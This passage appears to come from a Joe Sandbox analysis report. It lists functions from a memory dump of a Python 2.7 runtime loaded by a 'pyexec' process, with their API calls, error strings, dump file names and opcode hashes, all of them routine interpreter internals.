PyObject_Hash.PYTHON27(?,00000000,?,?,6C1C73E7,00000000,00000000,?,?,6C1CDEB4), ref: 6C144F72

Strings

..\Objects\dictobject.c, xrefs: 6C144F42
%s:%d: bad argument to internal function, xrefs: 6C144F47
h-l, xrefs: 6C144F60

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_FormatHashObject_
String ID: %s:%d: bad argument to internal function$..\Objects\dictobject.c$h-l
API String ID: 896634218-636019801
Opcode ID: c2d86c674629670a778e394ecb05aba383a0fd235ceecf2fabf6c04b60530ec1
Instruction ID: 596c578ad0b5fa3f1d0b8dbea191ee75f0b93851091861cc73cd1d229ccaa9c9
Opcode Fuzzy Hash: c2d86c674629670a778e394ecb05aba383a0fd235ceecf2fabf6c04b60530ec1
Instruction Fuzzy Hash: 0F0121326051046BC3109E6E9C41EAAB368DB65338F1487AAFC3CC3E81DB30F861C6D1

Function 6C16BED0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 46COMMON

Download Yara Rule

APIs

PyType_IsSubtype.PYTHON27(?,?), ref: 6C16BEEC
PyType_IsSubtype.PYTHON27(?,?), ref: 6C16BF06
PyErr_Format.PYTHON27(6C2E65C8,%s:%d: bad argument to internal function,..\Objects\setobject.c,00000919), ref: 6C16BF2C

Strings

..\Objects\setobject.c, xrefs: 6C16BF21
%s:%d: bad argument to internal function, xrefs: 6C16BF26

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: SubtypeType_$Err_Format
String ID: %s:%d: bad argument to internal function$..\Objects\setobject.c
API String ID: 1453002970-1012936799
Opcode ID: 6d932d51a7b6d35e8082d87978375dbeb069051e926cab908a6433f2746d2fe2
Instruction ID: ca8f348da8a333ad7e54854c87654d440a52990833ad87afd217fb4de5c02aee
Opcode Fuzzy Hash: 6d932d51a7b6d35e8082d87978375dbeb069051e926cab908a6433f2746d2fe2
Instruction Fuzzy Hash: 2EF0427AA01008138900555EAC019DA73588B6223EF1546D2FC38E7F91EB61F930DAE6

Function 6C0A8FC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

PyString_FromString.PYTHON27(logreader's file object already closed), ref: 6C0A8FDD
PyErr_SetObject.PYTHON27(6C2E5D10,00000000,logreader's file object already closed), ref: 6C0A8FE6
_fileno.MSVCR90 ref: 6C0A900C
PyInt_FromLong.PYTHON27(00000000), ref: 6C0A9013

Strings

logreader's file object already closed, xrefs: 6C0A8FD8

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: From$Err_Int_LongObjectStringString__fileno
String ID: logreader's file object already closed
API String ID: 2431734947-2904759066
Opcode ID: 41b14fafded6968d66f38312a946e36737490a7edb98e6c72c088fa43d8b0652
Instruction ID: 7fcf071a8099eaeb83b6f62d2c818be1a1edee5265622e8cc33fcae9022ea978
Opcode Fuzzy Hash: 41b14fafded6968d66f38312a946e36737490a7edb98e6c72c088fa43d8b0652
Instruction Fuzzy Hash: B9F02BB7B005041BC610AAE9AC08E9B33ECCF861787054365EC58C7B81EB27E91787E1

Function 6C0AA170 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

PyString_FromString.PYTHON27(profiler's file object already closed), ref: 6C0AA190
PyErr_SetObject.PYTHON27(6C2E5D10,00000000,profiler's file object already closed), ref: 6C0AA199
_fileno.MSVCR90 ref: 6C0AA1BF
PyInt_FromLong.PYTHON27(00000000), ref: 6C0AA1C6

Strings

profiler's file object already closed, xrefs: 6C0AA18B

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: From$Err_Int_LongObjectStringString__fileno
String ID: profiler's file object already closed
API String ID: 2431734947-278089293
Opcode ID: cb9f70d6d89355e9e61c195ba0922939d3b11797123e4699e41cace911a5a916
Instruction ID: 5e109a578be59bff7e293b147a9a93bd2100a39fdff60038fb807b22ad821901
Opcode Fuzzy Hash: cb9f70d6d89355e9e61c195ba0922939d3b11797123e4699e41cace911a5a916
Instruction Fuzzy Hash: 61F0F677A01114178610AAE9AC0899B33ECCB866387144365ED2887BC1EB25E81687E2

Function 6C1AE7C0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 39COMMON

Download Yara Rule

APIs

PyOS_CheckStack.PYTHON27(?,?,6C12F0AA, while calling a Python object,00000001,?,?,6C1B2AB3,00000000,?,6C100E50), ref: 6C1AE7CA
PyErr_SetString.PYTHON27(6C2E67A8,Stack overflow,?,?,6C12F0AA, while calling a Python object,00000001,?,?,6C1B2AB3,00000000,?,6C100E50), ref: 6C1AE7E1
PyErr_Format.PYTHON27(6C2E5248,maximum recursion depth exceeded%s,00000000,?,?,6C12F0AA, while calling a Python object,00000001,?,?,6C1B2AB3,00000000,?,6C100E50), ref: 6C1AE810

Strings

Stack overflow, xrefs: 6C1AE7DB
maximum recursion depth exceeded%s, xrefs: 6C1AE80A

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_$CheckFormatStackString
String ID: Stack overflow$maximum recursion depth exceeded%s
API String ID: 3709953551-2207580994
Opcode ID: 9f7cab8ada7f1a6141380e61e3f9fea475661bbe45a22dd79cec1500380a9591
Instruction ID: 2841d0d08a9194d44c6c03649a44404e8ec77a8e6da2bbbe0befcd0ce417a1cb
Opcode Fuzzy Hash: 9f7cab8ada7f1a6141380e61e3f9fea475661bbe45a22dd79cec1500380a9591
Instruction Fuzzy Hash: 41F01275B146045B8A14DBE9E988C9573A8EB453743108A25FD2DD3BC1D725E510CB94

Function 6C165170 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

PyType_IsSubtype.PYTHON27(F08BFC45,?,00000000,?,?,6C155195,00000000), ref: 6C16518B
PyErr_Format.PYTHON27(6C2E65C8,%s:%d: bad argument to internal function,..\Objects\moduleobject.c,00000032,6C155195,00000000), ref: 6C1651A9
PyDict_New.PYTHON27(00000000,?,?,6C155195,00000000), ref: 6C1651BF

Strings

%s:%d: bad argument to internal function, xrefs: 6C1651A3
..\Objects\moduleobject.c, xrefs: 6C16519E

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Dict_Err_FormatSubtypeType_
String ID: %s:%d: bad argument to internal function$..\Objects\moduleobject.c
API String ID: 2901571358-2971566750
Opcode ID: cbcc4e2aca27f0751c34539f80699d8a61671083699e79097ccbd61da06e96d5
Instruction ID: d0f5b07cda054beca7d91bbce1e1a9df5eac0eee14091d9c7e9013305d3cc55a
Opcode Fuzzy Hash: cbcc4e2aca27f0751c34539f80699d8a61671083699e79097ccbd61da06e96d5
Instruction Fuzzy Hash: 42F05C71A453092BCA10EAAABC41E9773DCCB26659B044A5BFC2CD7F81FB51F82046D1

Function 6C14A550 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 30COMMON

Download Yara Rule

APIs

PyErr_Format.PYTHON27(6C2E48B0,%.200s attribute not set,encoding), ref: 6C14A56E
PyErr_Format.PYTHON27(6C2E48B0,%.200s attribute must be str,encoding), ref: 6C14A596

Strings

%.200s attribute must be str, xrefs: 6C14A590
%.200s attribute not set, xrefs: 6C14A568
encoding, xrefs: 6C14A563, 6C14A58B

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_Format
String ID: %.200s attribute must be str$%.200s attribute not set$encoding
API String ID: 376477240-2505966323
Opcode ID: 39d7ab3934016dcd279856615461415102b02ec78f65d4119b413245aede1fdf
Instruction ID: 5779d8649544ca383cf5171fdb339093b191039431a508ba7c9d143f964cfa52
Opcode Fuzzy Hash: 39d7ab3934016dcd279856615461415102b02ec78f65d4119b413245aede1fdf
Instruction Fuzzy Hash: 2FF06575B103049FD700CAB4F948E1637BC9B5425CF048950FD0CCBA12D735E864DA81

Function 6C14A5B0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 30COMMON

Download Yara Rule

APIs

PyErr_Format.PYTHON27(6C2E48B0,%.200s attribute not set,encoding), ref: 6C14A5CE
PyErr_Format.PYTHON27(6C2E48B0,%.200s attribute must be str,encoding), ref: 6C14A5F6

Strings

%.200s attribute must be str, xrefs: 6C14A5F0
%.200s attribute not set, xrefs: 6C14A5C8
encoding, xrefs: 6C14A5C3, 6C14A5EB

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_Format
String ID: %.200s attribute must be str$%.200s attribute not set$encoding
API String ID: 376477240-2505966323
Opcode ID: 39d7ab3934016dcd279856615461415102b02ec78f65d4119b413245aede1fdf
Instruction ID: 1131e6294ef26adfbd0ecb1acd59dd7db6c24c91f7e599ab936d0e06cb7e58a0
Opcode Fuzzy Hash: 39d7ab3934016dcd279856615461415102b02ec78f65d4119b413245aede1fdf
Instruction Fuzzy Hash: 92F06571B143089FD700CBB4E848E1733BC9B5425CB048950FD0CC7A02DB35E865DA81

Function 6C14A620 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 30COMMON

Download Yara Rule

APIs

PyErr_Format.PYTHON27(6C2E48B0,%.200s attribute not set,object), ref: 6C14A63E
PyErr_Format.PYTHON27(6C2E48B0,%.200s attribute must be str,object), ref: 6C14A666

Strings

%.200s attribute must be str, xrefs: 6C14A660
%.200s attribute not set, xrefs: 6C14A638
object, xrefs: 6C14A633, 6C14A65B

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_Format
String ID: %.200s attribute must be str$%.200s attribute not set$object
API String ID: 376477240-465120111
Opcode ID: 2f72b80b4823dd00a6e82ea2d00b6d341620b2e2228b7b60ca08e970ae557845
Instruction ID: 49643020fef8ce7bc669eaf5c8ce0e3e833217e7ea55320676dfa20d651ff888
Opcode Fuzzy Hash: 2f72b80b4823dd00a6e82ea2d00b6d341620b2e2228b7b60ca08e970ae557845
Instruction Fuzzy Hash: 44F06576B50308AFD600CAB5E844E1633A89B7425CB058960FC1C97A02EB39E865DA94

Function 6C14A950 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 30COMMON

Download Yara Rule

APIs

PyErr_Format.PYTHON27(6C2E48B0,%.200s attribute not set,reason), ref: 6C14A96E
PyErr_Format.PYTHON27(6C2E48B0,%.200s attribute must be str,reason), ref: 6C14A996

Strings

%.200s attribute must be str, xrefs: 6C14A990
reason, xrefs: 6C14A963, 6C14A98B
%.200s attribute not set, xrefs: 6C14A968

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_Format
String ID: %.200s attribute must be str$%.200s attribute not set$reason
API String ID: 376477240-2292975759
Opcode ID: ec81b3a9f489de50f781925c855225ba7e309fa384a16a1d04368c012cb9221a
Instruction ID: 97a4d0cc0ccb51e2194254a5d0a3cdfce2046d38e6f4c44b80aca4649b07c0ee
Opcode Fuzzy Hash: ec81b3a9f489de50f781925c855225ba7e309fa384a16a1d04368c012cb9221a
Instruction Fuzzy Hash: 61F06576B50308DBD700CBA5E944F1637A89BA4358B058950FC0C87E02DB35E4A5DB81

Function 6C14A500 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 23COMMON

Download Yara Rule

APIs

PyErr_Format.PYTHON27(6C2E48B0,%.200s attribute not set,object,6C14A69F), ref: 6C14A514
PyErr_Format.PYTHON27(6C2E48B0,%.200s attribute must be unicode,object), ref: 6C14A53C

Strings

%.200s attribute must be unicode, xrefs: 6C14A536
%.200s attribute not set, xrefs: 6C14A50E
object, xrefs: 6C14A509, 6C14A531

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_Format
String ID: %.200s attribute must be unicode$%.200s attribute not set$object
API String ID: 376477240-1433534347
Opcode ID: ddfa2f3626e72305f635eab2461d061383539445c3d1133fe567d47403d64fc5
Instruction ID: 7c10f2462982ccbb3b3fb75fc6a147184416bec7dc058e8527794c53a14994f5
Opcode Fuzzy Hash: ddfa2f3626e72305f635eab2461d061383539445c3d1133fe567d47403d64fc5
Instruction Fuzzy Hash: 46E08CB6F01248AADB00D6719D44F6A33B49BB434DF0989A4FC15DBE02EB39D865EA40

Function 6C144CD0 Relevance: 7.6, APIs: 5, Instructions: 128COMMON

Download Yara Rule

APIs

PyErr_NoMemory.PYTHON27 ref: 6C144CEE
memset.MSVCR90 ref: 6C144D53
malloc.MSVCR90 ref: 6C144DAE
PyErr_NoMemory.PYTHON27(?,00000000), ref: 6C144DBB
free.MSVCR90 ref: 6C144DF7

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_Memory$freemallocmemset
String ID:
API String ID: 1522105653-0
Opcode ID: d0967e280a15d92532d6bc104d2be8733be90afab12e2227099d10ff89fc6346
Instruction ID: c6522aec1c5f62bc116cbc0b4f910ef694a1080b3c18f1f2f7c2861f4c6fa28d
Opcode Fuzzy Hash: d0967e280a15d92532d6bc104d2be8733be90afab12e2227099d10ff89fc6346
Instruction Fuzzy Hash: 3041D571A006058FDB10CFA5D8C079AB3F9EF65328F24C66AD819C7B50E774E989CB91

Function 6C1D0600 Relevance: 7.6, APIs: 5, Instructions: 76threadCOMMON

Download Yara Rule

APIs

malloc.MSVCR90 ref: 6C1D0607
GetCurrentThreadId.KERNEL32 ref: 6C1D065C
_PyThreadState_Init.PYTHON27(00000000), ref: 6C1D0692
InterlockedDecrement.KERNEL32(?), ref: 6C1D06C9
SetEvent.KERNEL32(?), ref: 6C1D06D7

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Thread$CurrentDecrementEventInitInterlockedState_malloc
String ID:
API String ID: 743730388-0
Opcode ID: b1ccccdd8e04d57b4f7be495202299517da76128b5e8d756af4b7bc51cc3bd6e
Instruction ID: c8d440bfdf3f96abe0ec7e74ec60b18525e5aa22d292476f93d2806311516436
Opcode Fuzzy Hash: b1ccccdd8e04d57b4f7be495202299517da76128b5e8d756af4b7bc51cc3bd6e
Instruction Fuzzy Hash: 0331F6B1901B519FDB209F6AC9C4546FBF4BB492247A18A3EE5AAC7B00D335F485CF90

Function 6C0B00C0 Relevance: 7.6, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

PyObject_Call.PYTHON27(?,00000000,00000000), ref: 6C0B00D5

Part of subcall function 6C12F070: _Py_CheckRecursiveCall.PYTHON27( while calling a Python object,00000001,?,?,6C1B2AB3,00000000,?,6C100E50), ref: 6C12F0A5
Part of subcall function 6C12F070: PyErr_SetString.PYTHON27(6C2E65C8,NULL result without error in PyObject_Call,?,00000000,00000000), ref: 6C12F0E4

PyErr_WriteUnraisable.PYTHON27(?), ref: 6C0B00E7

Part of subcall function 6C1C0B50: PySys_GetObject.PYTHON27(stderr,00000000,?,?,?,?,6C198367,?), ref: 6C1C0B80
Part of subcall function 6C1C0B50: PyFile_WriteString.PYTHON27(Exception ,00000000,?,?,?,6C198367,?), ref: 6C1C0B98
Part of subcall function 6C1C0B50: strrchr.MSVCR90 ref: 6C1C0BC3
Part of subcall function 6C1C0B50: PyObject_GetAttrString.PYTHON27(?,__module__,?,?,?,?,?,6C198367,?), ref: 6C1C0BD9
Part of subcall function 6C1C0B50: PyFile_WriteString.PYTHON27(<unknown>,00000000,?,?,?,?,?,?,?,6C198367,?), ref: 6C1C0BF0
Part of subcall function 6C1C0B50: PyFile_WriteString.PYTHON27(00000000,00000000,?,?,?,?,?,?,?,?,6C198367,?), ref: 6C1C0C5E
Part of subcall function 6C1C0B50: PyFile_WriteString.PYTHON27(6C29B634,00000000,?,?,?,?,?,?,?,?,?,?,6C198367,?), ref: 6C1C0C7B
Part of subcall function 6C1C0B50: PyFile_WriteObject.PYTHON27(6C198367,00000000,00000000,6C29B634,00000000,?,?,?,?,?,?,?,?,?,?,6C198367), ref: 6C1C0C84
Part of subcall function 6C1C0B50: PyErr_Clear.PYTHON27(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C198367), ref: 6C1C0C90
Part of subcall function 6C1C0B50: PyFile_WriteString.PYTHON27(<exception repr() failed>,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C1C0C9B
Part of subcall function 6C1C0B50: PyFile_WriteString.PYTHON27( in ,00000000,?,?,?,?,?,6C198367,?), ref: 6C1C0CC1

PyLong_AsLongLong.PYTHON27(00000000), ref: 6C0B0105
PyErr_WriteUnraisable.PYTHON27(?), ref: 6C0B014A

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Write$String$File_$Err_$CallLongObjectObject_Unraisable$AttrCheckClearLong_RecursiveSys_strrchr
String ID:
API String ID: 3056655519-0
Opcode ID: b74c7bf12c3a909bcf600f45ba7e2f6f57b3113c55d64886bb41dc7fe3f4c0ae
Instruction ID: ca897cacd7ce0feb96043f9c9184f421d0eea736e7da20feedc09ccb69105bb7
Opcode Fuzzy Hash: b74c7bf12c3a909bcf600f45ba7e2f6f57b3113c55d64886bb41dc7fe3f4c0ae
